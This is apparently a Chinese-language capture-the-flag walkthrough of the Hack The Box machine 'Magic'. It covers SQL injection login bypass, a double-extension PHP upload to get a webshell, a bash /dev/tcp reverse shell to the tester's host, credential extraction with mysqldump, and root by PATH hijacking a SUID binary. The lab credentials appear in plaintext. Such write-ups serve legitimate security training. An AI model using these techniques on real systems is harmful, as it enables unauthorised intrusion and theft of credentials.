信息收集
运行常规的端口扫描查看靶机运行了什么服务,一般情况下 HTB 的题目都不会用到太高的端口,因此只扫前 10000 就够了
nmap -sV -v -p 1-10000 10.10.10.185
可以看到是有一个 SSH 以及一个 Web 服务
Web
SQL 注入漏洞(万能密码)
打开首页可以看到是一个类似图库的程序
关注到左下角提示登陆后可以上传图片,那么会不会有上传文件漏洞呢?
首先我们随便使用 admin / admin
尝试登陆系统
有明确的提示说「用户名或密码错误」,接着我们使用 admin' / admin
尝试登陆系统
这次并没有了上次提示的「用户名或密码错误」,因此这里由于我们输入的单引号造成了系统的异常,因此可能存在 SQL 注入漏洞
尝试使用万能密码登陆系统,用户名为:admin'or'1'='1
,密码随意填写
成功登陆系统!
任意文件上传漏洞
首先打开 Burpsuite 抓包,先随便上传一张正常的图片看看会有什么效果,这里我把我的红色头像上传了上去。
根据网页的回显可以知道图片已经上传成功
看到首页我的图片也在上面了,查看网页源代码就可以知道图片的路径
http://10.10.10.185/images/uploads/avatar.png
接下来尝试修改文件后缀,看看有没有做什么限制
当修改文件名为 avatar.php
时会拒绝上传,提示只有 JPG / JPEG / PNG 文件可以上传,初步确定系统判断了文件后缀。
将文件名后缀修改回 png
,内容修改为 PHP 代码尝试上传
也提示失败了,但是和之前后缀名不在白名单的错误提示不同,这次提示我们
What are you trying to do there?
那么估计就是既判断了文件名后缀又判断了该文件是否是一张图片
那么尝试上传文件名 111.php.png
,图片头保留,但是后面的内容修改成 PHP 代码
上传成功,使用浏览器打开看一看
发现后面 PHP 代码的部分不见了,难道是当成 PHP 文件来运行了?
(这里需要注意,服务器会定期删掉你上传的文件,因此如果打开 404 了就再点一次上传文件吧)
运行 id
命令,发现确实运行了,那么反弹 shell 就到手了
Shell - www-data
使用 webshell 运行以下命令得到一个反弹 shell
bash -i >& /dev/tcp/10.10.14.8/23333 0>&1 &
可以看到当前用户是 www-data
,先弄一下 tty
python3 -c 'import pty; pty.spawn("/bin/bash")'
往上面几个目录翻一翻,可以看到数据库的链接文件 /var/www/Magic/db.php5
,从中我们可以知道 MySQL 的用户名和密码
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
这里我们得到了一个用户名和密码
用户 | 密码 |
---|---|
theseus | iamkingtheseus |
通过查看 /etc/passwd
可以知道该用户存在,我们需要的 user.txt
应该就在其中
尝试登陆 SSH 直接就失败,根本就没提示输入密码,因此判断该用户设置了只接受证书登陆
尝试从 www-data 通过 su
使用密码切换过去,密码错误!我们还需要找到 theseus
真正的密码。
这里我们就可以想到,之前我们在弄 Web 的时候里面有登陆功能,我们只是使用万能密码绕过了登陆,那么用户的密码应该就在数据库里面吧
系统没有 mysql
但是有 mysqldump
,直接将数据库导出来看就知道了
$ mysqldump -u theseus -p Magic
数据库中的密码:
admin - Th3s3usW4sK1ng
尝试使用该密码切换到 theseus
用户
成功切换到 theseus 用户
Shell - theseus
基操 LinEnum.sh 走一波
[-] SUID files:
...
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo.
...
看到这个 /bin/sysinfo
就很可疑,一般系统都没这个文件,而且 +s
了,我们可以以 root 用户运行该文件,下面就来分析一下这个文件
Binary - sysinfo
遇事不决,直接上 IDA
可以看到这个二进制文件会依次运行
lshw -short
fdisk -l
cat /proc/cpuinfo
free -h
很重要的是,他这里都没有指定对应这些文件的绝对路径,因此系统是根据 $PATH
这个环境变量来找到对应文件的
该系统默认的 $PATH
环境变量如下:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
而我们可以通过自定义 $PATH
的方式,让 /bin/sysinfo
去执行我们可以控制的文件
创建 /tmp/lshw
内容为
/usr/bin/id
并通过 chmod +x /tmp/lshw
赋予可执行权限
然后运行 PATH=/tmp /bin/sysinfo
,就能够发现我们可以以 root 权限执行任意命令了
那么到此,root.txt
很容易就能拿到了,只需要将 /tmp/lshw
文件的内容改成以下内容即可
/bin/cat /root/root.txt
番外 - 为什么 111.php.png
会被当作 PHP 文件运行
这台机器使用 Apache 作为 Web 服务器,一般来说都是用 .htaccess
来控制 PHP 解析器的
查看网站根目录的 .htaccess
文件
$ cat /var/www/Magic/.htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
order deny,allow
deny from all
</Files>
.+\.ph(p([3457s]|\-s)?|t|tml)
这个正则写得非常有问题,估计是故意留给我们用的
简单来说只要文件名包含 php 都会用 php 解析器运行,这就解释了为什么 .php.png
后缀的文件也会被当作 PHP 文件运行